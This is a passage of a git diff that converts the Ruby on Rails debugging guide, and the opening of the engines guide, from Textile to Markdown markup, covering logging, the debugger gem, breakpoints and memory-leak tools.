<b>Title:</b> <%=h @post.title %> </p> -</html> +``` Will be rendered as follows: -<pre> +``` [1, 2, 3, 4, 5] Title: Rails debugging guide -</pre> +``` -h3. The Logger +The Logger +---------- It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. -h4. What is the Logger? +### What is the Logger? -Rails makes use of the +ActiveSupport::BufferedLogger+ class to write log information. You can also substitute another logger such as +Log4r+ if you wish. +Rails makes use of the `ActiveSupport::BufferedLogger` class to write log information. You can also substitute another logger such as `Log4r` if you wish. -You can specify an alternative logger in your +environment.rb+ or any environment file: +You can specify an alternative logger in your `environment.rb` or any environment file: -<ruby> +```ruby Rails.logger = Logger.new(STDOUT) Rails.logger = Log4r::Logger.new("Application Log") -</ruby> +``` -Or in the +Initializer+ section, add _any_ of the following +Or in the `Initializer` section, add _any_ of the following -<ruby> +```ruby config.logger = Logger.new(STDOUT) config.logger = Log4r::Logger.new("Application Log") -</ruby> +``` -TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+. +TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`. -h4. Log Levels +### Log Levels -When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method. +When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method. -The available log levels are: +:debug+, +:info+, +:warn+, +:error+, +:fatal+, and +:unknown+, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use +The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use -<ruby> +```ruby config.log_level = :warn # In any environment initializer, or Rails.logger.level = 0 # at any time -</ruby> +``` This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. -TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode. +TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode. -h4. Sending Messages +### Sending Messages -To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer: +To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer: -<ruby> +```ruby logger.debug "Person attributes hash: #{@person.attributes.inspect}" logger.info "Processing the request..." logger.fatal "Terminating application, raised unrecoverable error!!!" -</ruby> +``` Here's an example of a method instrumented with extra logging: -<ruby> +```ruby class PostsController < ApplicationController # ... @@ -167,11 +170,11 @@ class PostsController < ApplicationController # ... end -</ruby> +``` Here's an example of the log generated by this method: -<shell> +``` Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 @@ -187,82 +190,83 @@ Post should be valid: true The post was saved and now the user is going to be redirected... Redirected to #<Post:0x20af760> Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts] -</shell> +``` Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. -h4. Tagged Logging +### Tagged Logging -When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. +TaggedLogging+ in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. +When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. -<ruby> +```ruby logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff" logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" -</ruby> +``` -h3. Debugging with the +debugger+ gem +Debugging with the `debugger` gem +--------------------------------- When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. -h4. Setup +### Setup -Rails uses the +debugger+ gem to set breakpoints and step through live code. To install it, just run: +Rails uses the `debugger` gem to set breakpoints and step through live code. To install it, just run: -<shell> +```bash $ gem install debugger -</shell> +``` -Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method. +Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method. Here's an example: -<ruby> +```ruby class PeopleController < ApplicationController def new debugger @person = Person.new end end -</ruby> +``` If you see the message in the console or logs: -<shell> +``` ***** Debugger requested, but was not available: Start server with --debugger to enable ***** -</shell> +``` -Make sure you have started your web server with the option +--debugger+: +Make sure you have started your web server with the option `--debugger`: -<shell> +```bash $ rails server --debugger => Booting WEBrick => Rails 3.0.0 application starting on http://0.0.0.0:3000 => Debugger enabled ... -</shell> +``` -TIP: In development mode, you can dynamically +require \'debugger\'+ instead of restarting the server, if it was started without +--debugger+. +TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, if it was started without `--debugger`. -h4. The Shell +### The Shell -As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. +As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. For example: -<shell> +```bash @posts = Post.all (rdb:7) -</shell> +``` -Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?) +Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?) -<shell> +``` (rdb:7) help ruby-debug help v0.10.2 Type 'help <command-name>' for help on a specific command @@ -273,15 +277,15 @@ break disable eval info p reload source undisplay catch display exit irb pp restart step up condition down finish list ps save thread var continue edit frame method putl set tmate where -</shell> +``` -TIP: To view the help menu for any command use +help <command-name>+ in active debug mode. For example: _+help var+_ +TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_ -The next command to learn is one of the most useful: +list+. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command. +The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command. -This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+. +This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`. -<shell> +``` (rdb:7) list [1, 10] in /PathToProject/posts_controller.rb 1 class PostsController < ApplicationController @@ -294,11 +298,11 @@ This command shows you where you are in the code by printing 10 lines centered a 8 respond_to do |format| 9 format.html # index.html.erb 10 format.json { render :json => @posts } -</shell> +``` -If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out. +If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out. -<shell> +``` (rdb:7) l [11, 20] in /PathTo/project/app/controllers/posts_controller.rb 11 end @@ -311,13 +315,13 @@ If you repeat the +list+ command, this time using just +l+, the next ten lines o 18 19 respond_to do |format| 20 format.html # show.html.erb -</shell> +``` -And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. +And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. -On the other hand, to see the previous ten lines you should type +list-+ (or +l-+) +On the other hand, to see the previous ten lines you should type `list-` (or `l-`) -<shell> +``` (rdb:7) l- [1, 10] in /PathToProject/posts_controller.rb 1 class PostsController < ApplicationController @@ -330,12 +334,12 @@ On the other hand, to see the previous ten lines you should type +list-+ (or +l- 8 respond_to do |format| 9 format.html # index.html.erb 10 format.json { render :json => @posts } -</shell> +``` -This way you can move inside the file, being able to see the code above and over the line you added the +debugger+. -Finally, to see where you are in the code again you can type +list=+ +This way you can move inside the file, being able to see the code above and over the line you added the `debugger`. +Finally, to see where you are in the code again you can type `list=` -<shell> +``` (rdb:7) list= [1, 10] in /PathToProject/posts_controller.rb 1 class PostsController < ApplicationController @@ -348,17 +352,17 @@ Finally, to see where you are in the code again you can type +list=+ 8 respond_to do |format| 9 format.html # index.html.erb 10 format.json { render :json => @posts } -</shell> +``` -h4. The Context +### The Context When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. -At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer. +At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer. -<shell> +``` (rdb:5) where #0 PostsController.index at line /PathTo/project/app/controllers/posts_controller.rb:6 @@ -369,118 +373,118 @@ At any time you can call the +backtrace+ command (or its alias +where+) to print #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...) at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617 ... -</shell> +``` -You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number. +You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number. -<shell> +``` (rdb:5) frame 2 #2 ActionController::Base.perform_action_without_filters at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 -</shell> +``` The available variables are the same as if you were running the code line by line. After all, that's what debugging is. -Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. +Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. -h4. Threads +### Threads -The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options: +The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options: -* +thread+ shows the current thread. -* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. -* +thread stop _n_+ stop thread _n_. -* +thread resume _n_+ resumes thread _n_. -* +thread switch _n_+ switches the current thread context to _n_. +* `thread` shows the current thread. +* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* `thread stop _n_` stop thread _n_. +* `thread resume _n_` resumes thread _n_. +* `thread switch _n_` switches the current thread context to _n_. This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. -h4. Inspecting Variables +### Inspecting Variables Any expression can be evaluated in the current context. To evaluate an expression, just type it! This example shows how you can print the instance_variables defined within the current context: -<shell> +``` @posts = Post.all (rdb:11) instance_variables ["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] -</shell> +``` -As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide). +As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide). -<shell> +``` (rdb:11) next Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e Parameters: {"action"=>"index", "controller"=>"posts"} /PathToProject/posts_controller.rb:8 respond_to do |format| -</shell> +``` And then ask again for the instance_variables: -<shell> +``` (rdb:11) instance_variables.include? "@posts" true -</shell> +``` -Now +@posts+ is included in the instance variables, because the line defining it was executed. +Now `@posts` is included in the instance variables, because the line defining it was executed. -TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. +TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. -The +var+ method is the most convenient way to show variables and their values: +The `var` method is the most convenient way to show variables and their values: -<shell> +``` var (rdb:1) v[ar] const <object> show constants of object (rdb:1) v[ar] g[lobal] show global variables (rdb:1) v[ar] i[nstance] <object> show instance variables of object (rdb:1) v[ar] l[ocal] show local variables -</shell> +``` This is a great way to inspect the values of the current context variables. For example: -<shell> +``` (rdb:9) var local __dbg_verbose_save => false -</shell> +``` You can also inspect for an object method this way: -<shell> +``` (rdb:9) var instance Post.new @attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"... @attributes_cache = {} @new_record = true -</shell> +``` -TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. +TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. -You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. +You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. -<shell> +``` (rdb:1) display @recent_comments 1: @recent_comments = -</shell> +``` -The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example). +The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). -h4. Step by Step +### Step by Step Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution. -Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to the debugger. +Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger. -TIP: You can also use <tt>step<plus> n</tt> and <tt>step- n</tt> to move forward or backward +n+ steps respectively. +TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively. -You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. +You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. -The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods. +The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods. -For example, consider this block of code with an included +debugger+ statement: +For example, consider this block of code with an included `debugger` statement: -<ruby> +```ruby class Author < ActiveRecord::Base has_one :editorial has_many :comments @@ -490,11 +494,11 @@ class Author < ActiveRecord::Base @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) end end -</ruby> +``` -TIP: You can use the debugger while using +rails console+. Just remember to +require "debugger"+ before calling the +debugger+ method. +TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method. -<shell> +``` $ rails console Loading development environment (Rails 3.1.0) >> require "debugger" @@ -504,11 +508,11 @@ Loading development environment (Rails 3.1.0) >> author.find_recent_comments /PathTo/project/app/models/author.rb:11 ) -</shell> +``` With the code stopped, take a look around: -<shell> +``` (rdb:1) list [2, 9] in /PathTo/project/app/models/author.rb 2 has_one :editorial @@ -519,19 +523,19 @@ With the code stopped, take a look around: => 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) 8 end 9 end -</shell> +``` You are at the end of the line, but... was this line executed? You can inspect the instance variables. -<shell> +``` (rdb:1) var instance @attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... @attributes_cache = {} -</shell> +``` -+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code: +`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code: -<shell> +``` (rdb:1) next /PathTo/project/app/models/author.rb:12 @recent_comments @@ -540,136 +544,137 @@ You are at the end of the line, but... was this line executed? You can inspect t @attributes_cache = {} @comments = [] @recent_comments = [] -</shell> +``` -Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed. +Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed. -If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. +If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. -h4. Breakpoints +### Breakpoints A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. -You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually: +You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: -* +break line+: set breakpoint in the _line_ in the current source file. -* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. -* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. +* `break line`: set breakpoint in the _line_ in the current source file. +* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. +* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. -<shell> +``` (rdb:5) break 10 Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 -</shell> +``` -Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. +Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. -<shell> +``` (rdb:5) info breakpoints Num Enb What 1 y at filters.rb:10 -</shell> +``` -To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. +To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. -<shell> +``` (rdb:5) delete 1 (rdb:5) info breakpoints No breakpoints. -</shell> +``` You can also enable or disable breakpoints: -* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. -* +disable breakpoints+: the _breakpoints_ will have no effect on your program. +* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +* `disable breakpoints`: the _breakpoints_ will have no effect on your program. -h4. Catching Exceptions +### Catching Exceptions -The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. +The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. -To list all active catchpoints use +catch+. +To list all active catchpoints use `catch`. -h4. Resuming Execution +### Resuming Execution There are two ways to resume execution of an application that is stopped in the debugger: -* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. -* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. +* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. +* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. -h4. Editing +### Editing Two commands allow you to open code from the debugger into an editor: -* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. -* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified. +* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. +* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified. -h4. Quitting +### Quitting -To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+. +To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`. A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. -h4. Settings +### Settings -The +debugger+ gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options: +The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options: -* +set reload+: Reload source code when changed. -* +set autolist+: Execute +list+ command on every breakpoint. -* +set listsize _n_+: Set number of source lines to list by default to _n_. -* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line +* `set reload`: Reload source code when changed. +* `set autolist`: Execute `list` command on every breakpoint. +* `set listsize _n_`: Set number of source lines to list by default to _n_. +* `set forcestep`: Make sure the `next` and `step` commands always move to a new line -You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command. +You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command. -TIP: You can save these settings in an +.rdebugrc+ file in your home directory. The debugger reads these global settings when it starts. +TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts. -Here's a good start for an +.rdebugrc+: +Here's a good start for an `.rdebugrc`: -<shell> +```bash set autolist set forcestep set listsize 25 -</shell> +``` -h3. Debugging Memory Leaks +Debugging Memory Leaks +---------------------- A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level. In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind. -h4. BleakHouse +### BleakHouse -"BleakHouse":https://github.com/evan/bleak_house/ is a library for finding memory leaks. +[BleakHouse](https://github.com/evan/bleak_house/) is a library for finding memory leaks. If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap. To install it run: -<shell> +```bash $ gem install bleak_house -</shell> +``` Then setup your application for profiling. Then add the following at the bottom of config/environment.rb: -<ruby> +```ruby require 'bleak_house' if ENV['BLEAK_HOUSE'] -</ruby> +``` Start a server instance with BleakHouse integration: -<shell> +```bash $ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server -</shell> +``` -Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+: +Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`: -<shell> +``` ** BleakHouse: working... ** BleakHouse: complete ** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze. -</shell> +``` To analyze it, just run the listed command. The top 20 leakiest lines will be listed: -<shell> +``` 191691 total objects Final heap size 191691 filled, 220961 free Displaying top 20 most common line/class pairs @@ -682,41 +687,43 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array ... -</shell> +``` This way you can find where your application is leaking memory and fix it. -If "BleakHouse":https://github.com/evan/bleak_house/ doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further. +If [BleakHouse](https://github.com/evan/bleak_house/) doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further. -h4. Valgrind +### Valgrind -"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions. +[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions. -There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates. +There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates. -For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver. +For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver. -h3. Plugins for Debugging +Plugins for Debugging +--------------------- There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: -* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate. -* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs. -* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries. -* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. -* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. -* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them. - -h3. References - -* "ruby-debug Homepage":http://bashdb.sourceforge.net/ruby-debug/home-page.html -* "debugger Homepage":http://github.com/cldwalker/debugger -* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/ -* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/ -* "Ryan Bates' debugging ruby (revised) screencast":http://railscasts.com/episodes/54-debugging-ruby-revised -* "Ryan Bates' stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace -* "Ryan Bates' logger screencast":http://railscasts.com/episodes/56-the-logger -* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html -* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ -* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging -* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/ +* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate. +* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs. +* [Query Stats](https://github.com/dan-manges/query_stats/tree/master:) A Rails plugin to track database queries. +* [Query Reviewer](http://code.google.com/p/query-reviewer/:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. +* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +* [Exception Logger](https://github.com/defunkt/exception_logger/tree/master:) Logs your Rails exceptions in the database and provides a funky web interface to manage them. + +References +---------- + +* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html) +* [debugger Homepage](http://github.com/cldwalker/debugger) +* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/) +* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/) +* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised) +* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace) +* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger) +* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html) +* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/) +* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging) +* [Bleak House Documentation](http://blog.evanweaver.com/files/doc/fauna/bleak_house/) diff --git a/guides/source/engines.textile b/guides/source/engines.md index 8fcc7823f0..be8c26486b 100644 --- a/guides/source/engines.textile +++ b/guides/source/engines.md @@ -1,4 +1,5 @@ -h2. Getting Started with Engines +etting Started with Engines +============================ In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: @@ -8,142 +9,145 @@ In this guide you will learn about engines and how they can be used to provide a * Hooking the engine into an application * Overriding engine functionality in the application -endprologue. +-------------------------------------------------------------------------------- -h3. What are engines? +What are engines? +----------------- -Engines can be considered miniature 